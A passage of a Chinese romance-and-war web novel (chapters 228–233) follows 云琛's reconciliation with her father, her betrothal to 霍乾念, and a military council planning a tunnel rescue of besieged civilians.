山寂轻哼一声,终于面色回暖,“算你小子识相。这事不小,也不好办,毕竟那些仵作和官员也不全是酒囊饭袋的蠢货。你这礼我收了。”
霍乾念再次行礼,话里有话地说:“大哥说笑了,只是一桩闲事说来给大哥听听。大哥听过便忘了。此后这世上,再无胡守江和胡烨父子二人,他们都已在十一年前被黑心强盗所杀。”
山寂点点头,“嗯,这世上只有山寂,没有别人。”
没有胡姓父子,也代表着云琛永远只知道儿时的玩伴“飞鱼将军”,不知道血脉相连的亲哥哥。
这是山寂的守护。
他将所有比云琛还要苦的血泪无声吞下,在云琛永远不知道的角落里,守护着她最脆弱的那部分。
“云家有一处草原马场‘山之海’,里面有一处开满风铃花的草地,十几年前,有一次她挨打后跑出府,我在那里找到了她。你去试试吧。”山寂说。
霍乾念赶紧翻身上马,不敢多留。
将离去之际,他注意到一旁海棠花树下的孤坟,总觉得好生熟悉,忍不住多看了两眼,随后大力扬鞭,朝着山之海草场的方向而去。
第228章 不值得铭记
山之海,有云落下的地方。
青峰远立,水草丰美,飞鸟盘桓在此,舍不得离去。
幽州地形竖长,颇像一只竖着的马蹄子。
广原城和百姓们主要生活的城池都在下南部,而云家二百万公顷的草场,则如碧玉一般,错落分布在地势陡然拔高的上北部。
故而,幽州既有着南方人的婉约内敛,也有着北方人的纯粹和爽朗。
山之海是云家北边最大的一处养马的草场。
在草场的最深处,马倌都不太驱马深入的地方,长着一望无际的半人高的巨**草,随风浮动如浪,像一道能吞噬一切的柔软却有力量的屏障,神秘又危险。
霍乾念座下的马开始在此原地转圈,十分抗拒深入巨**草之地。他只得丢下马,徒步走进草丛。
他一边在高高的草丛中寻找,一边高声呼唤云琛的名字。
不知过了多久,天色慢慢暗下来,他已走得精疲力竭,不知方向,这才察觉自己的处境有点危险。
一旦天黑透,在这伸手不见五指、没有火光照明,甚至有野兽狼群出没的草场,他孤身一人,隐月剑都未来得及带,实在悬得狠。
想到这里,他突然心生一计,鼓足力气开始大喊:
“啊——救命啊——有狼**啦——琛儿救我——”
然而回应他的只有平原上悠悠而过的长风,带起一株铃兰花,拍打在他的脸上。
他赶紧顺着风来的方向跑,果然,很快便看见一大片悬垂如铃的花朵,盛开在一望无际的碧绿草原上。
远远的,他看见屠狼驹在吃草,心中的大石头瞬间落地。
见到来人,屠狼驹一边咀嚼着鲜美的草,一边动了动马头,示意向一处凹地,轻吠一声,像是在叹气:
“哥们儿你终于来了,我是真劝不动。”
拍拍屠狼驹的肩膀,霍乾念走向凹地。
只那么瞧了一眼,霍乾念立刻鼻头一酸,差点落下泪来。
成片的风铃花像一只洁白柔软的手,托着手心中央的一处小小软坑。
那里面,是像个婴孩一样侧着身子,抱头蜷缩的云琛。
她神情痛苦,脸上全是泪痕,紧紧闭着眼,捂着耳朵,嘴里断断续续地哼着一个曲调。
似乎只有这样,便再也听不到有人骂她“不知廉耻”“大逆不道”,听不到那一声声咬牙切齿的“孽障”。
也听不到父亲和母亲刺耳的争吵声,母亲悲伤不绝的哭泣声,临死前绝望的哀嚎声……
捂住耳朵,这世间便只剩下一个声音——
“小草****,羊儿咩咩,云朵绵绵,琛儿眠眠……”
从没见过这样柔软的云琛,像一只刚出生的小幼崽。
那么弱小,那么可怜。
霍乾念只觉得心都快碎了,他跳下小软坑,同她一样侧身躺下,从身后紧紧拥住她。
她浑身一颤,慢慢放下手。
耳边再没有任何混乱与癫狂,只有穿过山野平原的风,带来霍乾念温柔的安抚声:
“琛儿不怕,有我在呢。”
眼泪再次夺眶而出,云琛将脸埋进蓬松的草里,放声大哭。
霍乾念听得心酸,喉咙像有块大石头堵着似的,叫他喘不过气。
他轻轻拍着她后背,一直到她彻底哭够,他才用忍着哽咽的声音开口:
“我娘是病逝的。但很多人都不知道她为什么会病。”顿了顿,他目光黯然,陷入回忆。
“我爹年轻的时候跟随前朝太子征战四方,持一柄隐月剑,骑一匹大黑马,独自一人深入敌军,斩杀了东炎一个挺厉害的王爷。后来,那王爷的亲信寻仇,在一次祭祖时掳了我娘去。我爹找了三天三夜,最后我娘自己回来了,却是衣衫不整,发钗凌乱……
歹人没有要我娘的性命,偏偏将我娘放归,因为他们知道,对于一个女子和其家族来说,名节有多么重要。那远比杀了她更有威力……不需任何人动手,只世俗的非议,人们的青眼,就足够杀死她一万次……那消失的三天到底发生了什么,已没有人在乎……
果然,从那以后,我娘变得郁郁寡欢,终究积郁成疾……离开了人世……我少时来幽州,也是因为寻到当年掳走我娘的歹人踪迹,借和阾玉出游的幌子,来幽州寻仇。却不料对方早有察觉,雇佣了血卫来围杀我……”
后面的事情,云琛都知道。
霍乾念掉下悬崖侥幸活下来,按无义血卫只出手一次的规矩,后来知道他还活着之后,他们转头就杀了雇主——算是替霍乾念的母亲报了仇。
从那以后,霍乾念腿伤不能行,一坐轮椅就是十几年。
从没想过霍乾念的母亲竟有如此痛苦遭遇,云琛转过身,靠近霍乾念怀中,难过道:
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>“霍夫人……也很可怜……”
甚至比云琛的母亲还要可怜。
不,不必去比较这份“可怜”。
苦难本身就不可比较,更不值得铭记。
霍乾念抱住云琛,轻轻抚摸她的头发:
“是啊,我娘很可怜。可从始至终,我爹都站在她的身边。我娘说,歹人没有碰她,她是清白的,我爹信;旁人说,我娘败坏门风不检点,我爹便发怒要揍到对方说不出话才行。最后说的人多了,堵不住悠悠之口,我爹干脆装糊涂装痴傻,带着我娘一起,对周遭一切充耳不闻……
可惜我娘只顾着难过,从没有回头看看爹和我,她太在乎周遭人的看法,太在乎那些愚人的拙见……反而忘了自己身边最重要的人。但直到娘离世,爹也没有怪过她……我爹说,养伤本来就是需要时间的,既然信她,爱她,自然纵着她慢慢养,只可惜她伤得太重,没有养好……
琛儿,你儿时那般无助受伤,少时又苦了那么多年,怎可能不痛……换了旁人,只怕要么自暴自弃,要么行差踏错,怎会有你这样好……琛儿,别在乎任何人怎么看你,请只在乎我的心——我从始至终都信你,尊重你,爱你——这不是我有多伟大,是你云琛本就值得。
名节在心,不在这副终会垂垂老矣并腐朽的躯体。那些森严礼教出来的豪门贵女,譬如菘蓝,不见得比鱼巷里长大的女子更有人的‘体面’。”
和从前一样,霍乾念是会开导人的,是懂她云琛一切的一切的。
“夫妻情要靠缘分,父母与子女之间,也是命定的缘分。有些缘深,有些缘浅,强求不得的……”霍乾念最后补充了这么一句。
云琛深深呼吸几口清风混合着草香味的空气,觉得心中郁结已消去大半。
她低声道:“只可惜,霍老太爷爱你,也爱妻子。我爹既不爱我娘,也不爱我……”
有些事,霍乾念本不想说,可看着云琛与云中君之间隔阂如此之深,他忍不住道:
“你在中堂众宗亲面前受七日罚之前,我爹的拜贴已送到云府。岳父大人是知道我们要来,并且算准了日子的。”
云琛愣住,有点反应不过来,下意识问道:
“我爹回信了?说了什么?”
霍乾念笑道:“岳父大人就写了四个字——”
“撑腰!速来!”
第229章 虎父无犬女
四个字,点到为止。
从山之海往云府回去的路上,云琛一言不发。
她虽沉默着,可那双渐渐重新明净的眼里,却波涛汹涌般翻滚着各种情绪。
回到云府时,已月明中天。
城内四处安静,只有云府还灯火通明,几百人还在忙着大街小巷到处寻找。
见云琛随霍乾念平安归来,众人都松了一口气,张久之更是高兴的双手合十,连连感谢老天爷。
经过大门时,云琛从云家一大群人里,瞧见忙得灰头土脸的叶峮,后者趁人不注意,悄声笑道:
“少主夫人!你舍得回来啦?”
周围人多,不方便回应,云琛只能与叶峮对视一眼,轻声笑起,一如从前那样亲近默契。
她明白,叶峮早就知道她的女儿身,不用任何人嘱咐,一直保守着她的秘密。
就连这次带来的亲兵也一样,全是霍乾念一个个亲自挑选出来,能绝对守口如瓶的家伙。
她继续往前走,望见中堂里,云中君与霍雷霆对坐高座,一大群人围绕在堂内。
这次不是那些有名无实的宗亲们了,而全部是云琛的手足和至亲。
白氏坐在云中君手边下座,身子微倾,一脸担忧地望向云琛。
在见到云琛囫囵个地回来了之后,立刻就开始落泪。
白氏身旁,是一脸温润带着书生气的云望。
他的妻子也同在,怀里坐着人小鬼大的云莲城,正攥着一截甘蔗,啃得口水直流,朝云琛甜甜地叫“姑姑”。
另一边,与云望相对坐的,是云琛已几乎认不出来的两个妹妹——白氏那两个已嫁为人妇的女儿,云岚和云恬。
二人同样美丽,妹妹云恬眉目间是白氏的美人尤怜,姐姐云岚则带着云中君的几分果决毅色。
二人身边都跟着自家夫婿,还有几个半大的孩子。
不知为何,这一次,云琛迎着众人好奇探究的目光,只感觉陌生,却不再似从前那样别扭。
云琛站定中堂,不出意料,劈头而来的第一句就是云中君的怒喝:
“孽障!跪下!”
这次,没有任何心不甘情不愿,云琛“噗通”一声跪下。
谁知身旁的霍乾念跪得比她还快,已经又开始演上纯良诚恳的贤婿,向云中君请罪了。
这下云中君尴尬了,霍乾念这一跪,倒显得他云中君托大似的,两个孩子还没正式成婚呢,他就开始摆起岳父架子一样。
云中君只得赶紧转换颜色,和气地对霍乾念道:
“贤婿请起,我那‘孽障’不是说你。”
道一声“多谢父亲大人”,霍乾念赶紧顺势拉着云琛站起来。
云中君刚想对云琛发火,却听一旁的霍雷霆道:
“哎,‘孽障’叫得,十分叫得!我家这逆子七岁的时候,在学堂吹牛,说什么我可以飞颅杀敌,晚上睡觉时,头能飞出去打仗杀敌人。
一次我在前院乘凉午睡,梦里感觉脖子凉飕飕的,一睁开眼,就看见他和好几个小子拿着刀,站在我脖子跟前,说要瞧瞧飞颅是不是真的,吓得我差点原地去世!你们说,这声‘孽障’冤不冤了他?”
“哈哈哈哈哈——”
堂内众人哄笑,气氛一下缓和许多。
云中君皱眉看了云琛一会儿,轻轻叹口气,对云望、云岚和云恬三人道:
“去见过你们长姐和姐夫。待东南战事平了,你们长姐就要成婚了。”
云中君嘴上没有一丝软,却已妥协云琛还要再次女扮男装上战场之事。
云琛心头再次涌上不一样的滋味。
这时,云望兄妹三人向云琛行过礼。
云望对云中君道:
“爹,孩儿愿同长姐一起效忠报国,随长姐同去战场杀敌。”
云望的妻子一听,立马变了脸色,却只是紧紧抱住云莲城,没有说话。
云中君皱眉思索片刻,“也好,我云家若不入朝,便一个都不入。若入朝,多一人便是多一条路。去吧,今后便照应着你姐,否则以她这个性子,不知要闯下什么祸事。”
云中君说着瞪了云琛一眼,却没有得到任何反抗和辩驳。
这一趟小小“出走”回来,云琛好似变了一个人。这令云中君有些意外。
一直在旁不作声的白氏咬着嘴唇,声音柔柔又忐忑开口:
“老爷,别让望儿去了……战场太危险……”话说一半,白氏赶紧停下,打量向云琛的脸色。
诚然,谁都知道战场危险,可云中君既许云琛去,就应当也许云望去,难不成云望就更宝贝些?
白氏知道自己着急说错话。云望则
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皱眉,“母亲莫劝,我意已决,必随长姐同去卫国杀敌。”
看着坚决的云望,再看看丝毫没有帮腔意思的云中君,白氏忍不住捂面哭泣。
中堂里回荡着白氏的哭声,气氛又一下子低落起来。
见状,霍乾念建议道:
“我听闻二弟自幼饱读诗书,文采斐然,既如此,便由霍帮举荐为文官如何?京都无战事,且在朝亦可效忠。”
“如此甚好。”云中君点头,眼神中透露着对霍乾念的赞赏。白氏也终于止住了哭声。
一旁,云恬抱着刚百天的孩子,欲言又止的样子,小声道:
“意思是,哥哥和琛姐姐都要做官去了?琛姐姐怎么做官?做女官还是做将军?”
未等云中君说话,云岚不高兴挑眉,声音脆亮道:
“爹不是说了吗?琛姐姐身负玄威少将之责,要战场杀敌卫国,而后以军功抵过。眼下定是瞒住女儿身,琛姐姐好继续为国效力。”
云恬撇嘴,声音越说越小:
“怎么瞒?如何瞒?一着不慎便连累家里名声的……”
云岚有些生气,顷刻柳眉倒竖,大声道:
“你安心在家照顾孩子就是!其他事莫管!宗亲们如今不敢开口,其余便是府上人,咱云府治家甚严!看谁敢嚼舌头!至于今日堂中人,皆是骨肉至亲!只要一家人心在一起,必不出去胡说八道!”
云恬被训得十分不情愿,继续嘟囔:
“我就好心提醒一下,你娘家那么有权有势,若知道家里有这种事,小心连带着看低你……”
听了这话,云岚彻**了,差点忘了这是接待霍氏父子贵客的中堂,还以为是在自己家,几乎就要将手边的茶几扔出去,气道:
“看低?我哥哥和姐姐不顾一己之私为国效力!哪个蠢货敢看低?我便看低死他!还要一鞭子抽得他张不开嘴才解气!”
众人似乎对云岚这做派习惯了,都见怪不怪。云恬不敢再说话。
云岚的丈夫则在一旁笑眯眯地看着妻子发脾气,完全一副宠溺的样子。
倒是霍雷霆眼神颇亮,从旁笑道:
“虎父无犬女。云兄家门皆是英雄儿女,令人钦佩!”
云中君装模作样训斥了云岚两句,但面有得意之色,显然对这话十分受用。
第230章 夫妻乃前缘,儿女原宿债
霍乾念与云琛定下亲事。
这些日子以来,亲眼见到霍氏父子如何捧在手心一般珍爱云琛,云中君既欣慰,又有些说不上的滋味。
中堂一聚过后,已是近后半夜,云中君却翻来覆去,怎么都睡不着。
白氏被吵得也睡不踏实,柔声问:
“老爷,怎么了?哪里不舒服?”
云中君摆摆手,瓮声瓮气地说了句“无事”,转身裹起被子,一副要认真入睡的架势。
看着云中君仍旧壮硕,却已不似从前孔武的背影,有点气鼓鼓的样子,白氏忍不住笑起:
“老爷吃味了?”
云中君身形一僵,显然被白氏猜中了。
白氏捂嘴笑道:“老爷既喜欢霍姑爷,又有点吃醋大小姐要嫁人了,是吧?”
半晌,云中君才不高兴地回道:
“那孽障倒是和霍雷霆那家伙更熟络,一口一个‘老太爷’地叫着——比跟我亲近!”
既然开了头,夫妻二人索性披上衣服,坐起来说话。
回忆往昔种种,再想想这几日发生的事,云中君长叹一口气,面有愧悔,更有无奈。
白氏自然明白云中君在难受些什么,她心疼地抱住云中君半个肩膀,安慰道:
“老爷,事情都过去了。如今这样已是最好。不过老爷别怪我多嘴,你打大小姐打得太狠了,真是过分。”
云中君瞪眼,“我过分?我要真下手打她,七天下来她还能活着?不过是第一天的时候下了狠手,做给那些个宗亲看,省得没完没了纠缠不休!”
白氏也幽幽叹息:“也是。既罚过,日后不论谁人说起来,都无可指摘。再加上有霍家撑腰,一定稳妥的。老爷为大小姐着想,何不把这一切都告诉大小姐呢?也好圆一圆父女情分。”
云中君果断摇头:“不了。若说这事,她必要问我,既然如今疼爱,为何从前那般?难道叫我告诉她,她母亲是二嫁之女,未和离就骗了我的婚?叫我告诉她,十几年来,她母亲都在偷偷将府中钱财给那原配丈夫?一直到那赌鬼喝多了闹上门来,我才知她母亲被骗着签下了足以使我云中君倾家荡产的债据?”
云中君深深重叹,语气无奈又沉重:
“难道要我告诉她,因她母亲遇事不明,两次差点弄丢了她,由那胡守江设计将她卖给人伢子?原以为,早点许个林家给她成婚便安稳,林家富户,不会叫她为钱财担惊受怕,可……唉……”
白氏轻轻抚着云中君的胸口,帮他顺气。
云中君道:“既为人父,就应庇护妻女。有些真相,我希望她一辈子都不要知道。我宁可她恨我,也不想破坏她心中母亲的样子……怨我就怨吧……就是苦了你,这些年担了逼死继女的恶毒后母的名声……”
白氏毫不在意,轻轻靠在云中君肩头:
“只要老爷知道我冤,我便不冤。况且我知道大小姐的性子,性灵通达,没有一丝恶念。她虽生疏我,但从来没有恨过我。大小姐是恩怨是非分明的人。”
“是啊,长大了,和从前不一样了。都快要长成我不认识的模样了。”说到这里,云中君摸着下巴上的胡子,砸吧砸吧嘴,摇头道:
“话说她这个一受委屈就躲起
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来的性子,倒是没变。怪我,从前为了瞒着她,不叫她知道那些污糟事,一和她母亲争吵,便要借口先将她打骂出去,唉……”
这下白氏有点不乐意了,语气带了撒娇,嗔怪道:
“老爷才说这些年苦了我,结果夸我两句就没啦?”
云中君哈哈笑起,疼惜地将白氏揽入怀。
“我**守江害得差点倾家荡产时,是你和岳父施以援手,才使我云家能延续有今日。这恩情我永世不忘!”
白氏柔荑轻捶云中君的胸口,“知道啦知道啦!你记着恩情,便以身相许了不是吗?这些年,恩也成了情,情也成了恩,足够了。”
“哈哈……”云中君又笑了两声,却忍不住回想起纳白氏进门时,他与云琛母亲彻底**的情景,不禁再次叹息:
“一切都是胡守江的错,不怪悠宁……要怪,就怪她命不好,唉……”
生怕云中君又说回悲伤往事,白氏赶紧打岔:
“说来,我记得沈姐姐与胡守江那个孩子,从前一直在咱们府门口卖鱼虾来着,还时常陪着大小姐去玩耍。自从大小姐离家,那个孩子也不见了,端端一个高挑的好小子,也不知如今怎么样了……”
“能活着就不错了,唉,也是个苦命的孩子……”
“可怜呀……不说了,老爷,早些睡吧,身子要紧呢。”
“好。对了,明早给我把胡子刮了吧。”
“留了这么些年,爱惜得跟什么似的,怎么突然要刮?”
“就……就……哎你别管,刮就是了!”
“好好好,都听老爷的。”
第231章 错过了太多年
霍云两家定亲是大喜事,只可惜因为要瞒住云琛女儿身的事情,所有人都把这高兴憋在肚子里头,不能放在嘴上说。
连广原城的百姓们都只听说,有一队人马带着千抬红绸亲礼进了云府,却不知是为什么。
既定亲,嫁妆便在云中君的眼皮子底下置办起来。
嫁妆当中有一样,是令霍乾念和云琛兴奋得成夜睡不着的,那便是十万匹屠苏战马。
该马速度快,耐力强,日行千里不倦,夜奔八百无怠。
一则胆色出众,性情勇猛刚毅,极适合作战;二则吃苦耐劳,不易生病染疫,可以适应长期战争的残酷环境。
云中君常年关注着楠国战事,自然猜到狮威军缺马难度固英城的事情。
在云琛穿着少将铠甲回云府露面的一瞬间,云中君便心里有数,知道云琛必然是来借马的,否则她绝无可能回来认他这个爹。
说句不好听的,云中君还得谢谢黑鳞骑兵。
若不是他们逼得云琛回来借马,只怕云中君到死都见不到长女一面。
十万匹战马,清点起来颇费时日。
再加上需要至少两万狮威军前来接收战马,也要不少日子。
固英城战事胶着,不敢久无将领,霍乾念和云琛只得先行离开幽州。
起程那日,为不惹人注目,霍乾念和云琛祭拜过沈悠宁后,只带叶峮几个贴身心腹离开,从云府后门出发。
云家一家老小皆在后门相送。所有人都望着正在做最后起程打点的云琛和霍乾念。
张久之和贾妈妈趁人不注意,将两个从道观里求来的护身符偷偷塞进二人的包裹。
云中君背着手,一脸严肃地望着一身少将铠甲并利落束发的云琛。
白氏站在云中君身旁,面色担忧并眼含泪水地说道:
“大小姐,霍姑爷,战场刀剑无眼,万事小心……”
云琛笑着点点头,白氏脸微红,又道:
“大小姐,若不麻烦的话,希望你每个月……不,经常寄家书回来报平安,可以吗?”
“我知道了。”云琛说:“母亲。”
这是十几年来第一次听到云琛心甘情愿称呼一声“母亲”,白氏一愣,受宠若惊之余,眼泪瞬间夺眶而出。
白氏不停地用帕子拭去眼泪,开始一边哭,一边细细嘱咐云琛注意身体,搞得云琛一下子有点无所适从。
见白氏又开始哭个不停,云望忍不住了:
“娘,别哭了,护城河都快干了。你不是给琛姐姐做了一副护膝吗?快拿给琛姐姐吧!”
“对对对!差点忘了这事!我和恬儿做了好几日呢!给大小姐和霍姑爷一人一双。”白氏这才想起她这件“大事”,赶忙将两双护膝拿出来。
被点到名字的云恬虽然很不情愿,但还是小声对云琛道了几句:
“琛姐姐一路平安……那护膝主要都是我娘做的,我就补了几针,她嫌我做得丑……”
众人哈哈笑起来。
云岚则神神秘秘地塞给云琛一个锦缎小包裹,俏皮地朝云琛眨眨眼睛,笑道:
“姐,没人的时候再打开看哦——”说着,云岚又压低声音,对着一脸懵的云琛补了一句:
“我包你喜欢——姐夫更喜欢!”
塞完包裹,云岚不忘对霍乾念行了一礼,邀功似的笑道:
“下次见面,姐夫一定要请我们夫妇吃酒哦!”
霍乾念大概猜到那锦缎小包裹里是什么,笑得比花还灿烂,立马掏出一大包金子,说是要给侄子侄女们补压岁钱。
几个孩子热热闹闹将金子分了,云莲城分到的最多。
看着还不及马腿高的小人儿,腰间插着一根白玉红穗子的小马鞭,看起来神气活现,很有小大人的样子,众人都觉得稀罕。
云莲城扬着手中两锭金子,高兴地对霍乾念说:
“姑父,看在金子的份上,请你以后常来哦!”
“哈哈哈哈——”众**笑。
一旁的霍雷霆忍不住捏捏云莲城白胖的小脸,笑道:
“哎呀,原本还担心,我要在云府多叨扰些时日,会太过清闲呢,现在看来不会了,有小莲城在,一定热闹得很!”
霍乾念翻身上马,扬鞭欲行,问正忙着逗弄云莲城的霍雷霆:
“爹,我真走了,你确定要在这多留,不回京都?”
霍雷霆头也不抬地摆手,“不回不回,京都哪有幽州好玩?我要好好瞧瞧小莲城,还要好好和老云叙叙从前的战友情谊呢!”<
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br>被称为“老云”的云中君,硬生生把“咱俩根本没共事过”这话咽在嘴里,只叫霍乾念放心,定然酒肉管够,叫霍雷霆在云府住得舒坦,住上十年八年都行。
霍雷霆揶揄地看着云中君:
“十年八年?到时候恐怕我真糊涂了!连装都不用装了!”
众人又是一阵大笑。
看着一大家子其乐融融的样子,云琛也跟着笑起来。
她突然发现,自己也许是个恋家的性子,否则此时此刻,怎会这么舍不得离开。
可使命在肩,不能再多留。
她翻身骑上一匹高瘦的黑马“水中龙”。
这马浑身漆黑如披墨,**色在阳光下闪着绸缎般的光泽。
此马擅冲锋,可凫水,堪称水中蛟龙,是云中君专门为她挑选的坐骑。
“出发吧!”霍乾念说罢,扬鞭策马,朝前路奔去,云琛也立即紧跟而上。
一群年轻人英姿飒爽,朝气蓬勃,直叫霍雷霆看得心里痒。他拿胳膊肘捣捣身旁的云中君:
“我儿子,你闺女,惊才风逸,壮志烟高,实在帅炸了!老云你说话呀——”
云中君没工夫搭理霍雷霆,只努力伸长了脖子,目光追随着逐渐远去的云琛。
另一边,已经跑出去十几丈的云琛,突然勒马扬蹄,停在了原地。
她回过头,从后门一大群人中望去。
她看见云中君站在人群中,有些滑稽地微微踮起脚,正翘首望着她。
他脸上的胡子已尽数刮去,与儿时记忆里的父亲重合,勾起她许许多多也曾温暖的回忆。
没料到云琛会突然回头,云中君脸上未来得及换上一副“严肃”的面具。他的眼神充满担忧、不舍,还有欣慰和骄傲……
似乎也很想珍惜眼前这一刻,不愿再强装,云中君朝云琛露出个有些局促、更充满鼓励的笑容,轻轻点了点头。
云琛瞬间心头一震,鼻头微微发酸。
望着身形已有些垂暮的云中君,云琛突然发现,儿时记忆中伟岸的父亲,不知何时已两鬓斑白……
她突然有些后悔,自己是不是错过了太多年……
“爹,生辰吉乐。”云琛轻声地说,而后再次调转马头,跃马扬鞭而去。
第232章 知罗的秘密
知罗有一个秘密。
她喜欢那个笑起来眼里有阳光的少年将军。
这秘密被她藏得很深,只有在无人的时候,她深湖一般的眸子里,才会泛起丝丝涟漪。
初见那少年将军时,是在昭国太白城的小小客栈。
周围人来人往,吵得人有点头昏脑胀。
她按着画像描绘的模样,朝二人所坐的桌子走去。
那少年留意到她,抬眼望来,浅浅勾唇一笑。
知罗的心莫名漏了一拍。
她极力维持着面容,说着计划好的说辞,却在弹曲的时候不小心弹错两个音。
她弹得有点慌乱,那少年却听得仔细认真。
每当听到她弹错之处时,少年都会眉头微挑,却只对她报以温柔的笑。
真是好灵的耳朵。
她想,一定时常听别的琵琶娘**曲,才有如此耳力吧。
后来,她以身入局,促成最终的大小星山之战,令楠国成功借到昭国的三十万大军。
人人都忙着庆贺,喜笑颜开地打点行程。
只有那少年找到她,递给她一份“**为奴”的娼籍身册,声音如春风柔和:
“为筹谋借兵救人,他万不得已把军师卖进青楼,以设局引血卫,实在委屈军师。这份身册我拿回来了,官衙的娼籍记档也已消除。请军师海涵。”
知罗**进青楼为奴为娼,只是一局设计而已,人人都知道。
但就怕有一天,知道的人也都忘了,若有心人将这东西翻出来,必会毁了知罗清誉名节。
毕竟,她知罗身为女子,走的这条从军入仕之路,本就艰难困苦。
可就连知罗自己都忘了娼籍身册这个害人的隐患。
她忘了,她的少年将军却心细如发,全都记得。
接过身册那一刻,知罗仰头看着已一身戎装待发的少年将军,那眉目神采飞扬,那气势潇洒如风。
很快,她的少年将军纵马踏上壮志征途。
她所能做的,就是拼尽一切为其出谋划策,做好万全之备,护其平安凯旋。
果然,捷报在军中堆积如山,大小战役几十场,少年将军的身上添了许多伤疤,人也变得愈发内敛而光彩。
可不论战场如何杀伐,她的少年将军就像那巍峨雪山上的雪顶一般,始终无尘如一。
她总是忍不住偷偷去看,她的少年将军怎么就生得那样迷人呢?
那不需脚蹬,一个翻身便能跃上马背的动作;那轻斥烈马,有力臂膀牵动缰绳的样子;那回眸而望,冰冷铠甲衬着俊秀的面容……
一举一动都让她步步深陷,也让她因爱生妒,越发忘了自己的本心……
这种嫉妒,终于在幽州之行结束后,达到了前所未有的巅峰。
看着霍乾念和云琛比从前更加默契、亲近,动不动就相视而笑的样子,知罗心里发酸又发怒,恨不能用眼神在二人之间劈出个天崩地裂,将二人生生世世彻底分离才好。
她感觉自己就快要掩藏不住心思,一张薄薄的面皮,已快兜不住她的嫉恨。
她脑子里想着这些,太过入迷,以至于旁边的罗东东叫了她两次,她才回过神来。
“知罗……军师,将军在同你说话呢!”罗东东第二次提醒。
知罗陡然清醒,一瞬间环顾四周,才想起眼下是霍乾念和云琛从幽州回归后,第一场主帅大帐议事密会,她竟然在这么重要的场合走神了。
云琛、荣江、荣易、罗东东……所有人都疑问地看着她。
高座上,霍乾念脸色平静,但眼神已透出不悦。
因为是关乎营救烟城百姓的机要密会,帐子关得严严实实,知罗觉得有些呼吸不畅。
脑子里快速回忆起走神之前的会议内容,知罗歉疚请罪:
“下官思虑入神,请将军恕罪。”
大帐内安静了一会儿,才又重新讨论起事务。
霍乾念示意众人围靠到桌前,开始做最后的安排布置。
桌子上是再熟悉不过的固英城地图。
与从前不同的是,如今的地图上,除了标记着城中屋宅和街道分布,还标记着四条长度惊人的“蛟龙”。
四条“蛟龙”起于固英城外的一片密林,分别从北、西北、西、西南四个方位探首进城中,气势浑然,好似要一口吞下城池。
自黑鳞骑兵据守固英城以来,首先吃的是城中粮食和牛羊牲畜。
但据狮威军探子回报,黑鳞骑兵营地外的泔水坑里,最近已开始陆续发现人骨。
这意味着城里粮食已经吃的差不多了。
固英城内三万百姓和两万被俘虏的东炎借兵,其性命岌岌可危
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。
幽州的战马还要几个月才能到,以供狮威军发起攻城,但眼下情势已不容等待。
因此,在霍乾念与云琛去往幽州的这段日子,知罗已指挥五千将士暗中推进一项重大而绝密的计划——
地道营救。
那四条埋首进固英城的“蛟龙”,正是四条足以营救出城中百姓和东炎俘虏兵的绝密地道。
每条地道长约二十里,这路程说远倒不远,平地骑马也就个把时辰的功夫。
但挖地道可不一样。
土质过松易塌陷,沙砾太多挖不成形,选址不当容易挖出地下水导致被淹。
每往前开挖一丈,都非常危险且耗费人力,更不要说是迢迢二十里。
再加上其中还涉及地道路线走向、岔路分支、防止坍塌的间隔与支撑、保障地道内空气流通、照明与取暖等各种问题,还有最后几乎得在黑鳞骑兵巡防队的眼皮子底下悄悄开挖终点口子。
不仅如此,一旦开始营救,更要面临五万人如何分流下地道、老弱病残幼如何徒步行走二十里长路、人员途中如何休息饮食、如何防止人员骚乱、防止黑鳞骑兵追击等种种问题......
桩桩都是难题,件件令人头疼。
营救难度之大,简直难以想象。
因此,知罗最早提出“地道营救”的想法时,几乎没有人支持,只有霍乾念勉强同意。
所幸,知罗聪明绝顶,不愧为军师,既精通多种地理和建筑知识,又协调指挥力极强,只短短四十日,便将地道挖成,一干营救计划皆预备妥当。
这也是知罗敢在这么重要的机要密会上走神的原因,因为没有人比她更了解营救计划,更熟悉那四条幽深狭窄的地道。
在霍乾念一遍又一遍的严密推演下,计划微瑕之处被一一指正。
接下来就是最后的环节:任务分配。
四条地道,四条百姓们的生命线。
每条地道都需一名将领责任调度,负责该线路及相应城区的一干营救事宜。
因地道幽长狭窄,仅容一人穿过,将领最多可带百名将士。
一旦在营救百姓过程中,惊动城内黑鳞骑兵,将领和将士们会直接面临二十万敌军的“包饺子”围杀。
这责任之重不言而喻,危险程度更不必多说。
第233章 香香小娘子
四条地道怎么分配,谁去领主责,成了最后的难题。
荣易率先将**扎在地图北向的地道上,信心满满请缨:
“将军,我来这条!”
荣江不甘落后,也赶紧指着临近的西北线道:“那我来这条!”
荣易拿胳膊肘捣了荣江一下,笑道:“这次可比大小星山公平,咱俩正好比比,看谁救的人多!”
“比就比!娘肚子我都跑得比你快!这怕什么!”荣江回到。
“输了怎么办?”
“输了我喊你哥!妈的!”
荣江和荣易争着拿下两条地道的将领任务。
罗东东看准西方那条地道,正要开口,知罗却比他快了一步,道:
“霍将军,属下愿担此西向地道营救之责。”
罗东东一听急了:“这咋能行?知罗军师不会功夫啊!这地道营救危险得很,等于从二十万黑鳞骑兵脚底下偷偷摸过去,钻进人家肚子里救人,很容易和对方打起来的!”
知罗十分坚持,“没人比我更熟悉地道,我必须去!”
其实知罗身为军师,完全不必上前线。
但这样一个大而全的重要计划,她不甘心只在后方对着地图文书“纸上谈兵”。
她想亲眼看着自己的计划成功,更想——追着她的少年将军,凭本事挣下同样的功劳。
霍乾念应允,并叫罗东东和知罗同管西线地道,以与知罗文武配合。
一听要和知罗一起出兵营救,罗东东不免有些激动。
荣易看出来,忍不住打趣:“罗营长,你可得把咱军师照顾好了啊。一会儿赶紧数数军师头上有多少根头发,等回来的时候再数一遍。少一根都不行,听到没?”
“去你呢!”罗东东啐了荣易一口,“你别耍俺!头发咋数?等数清楚都过年了!”
荣易故作一脸恨铁不成钢的表情,啧啧摇头,凑近罗东东道:
“你真是榆木疙瘩不开窍,教都教不会!凭哥睡过十八个小娘子的经验告诉你,谁管你能不能数得清!‘数’才是关键啊!数不清楚才好呢!数上三天三夜不美吗?”
罗东东脑子里浮现出抱着知罗、一根根数她头发的画面,一下子懂了荣易的意思,不禁“嘿嘿”一笑,脸跟着泛红晕。
知罗与罗东东站得近,将两个男人带点下流的玩笑话听得清清楚楚。
在这男人主场的军旅官涯,知罗已感受过无数次来自男性的凝视。
她知道大多数人都和荣易一样,并没有什么恶意。
可她就是觉得恶心。
即使她知罗于千万人之中出类拔萃,做得了三十万大军的军师。
但在这些男人眼里,她不过一只漂亮的小鸟。
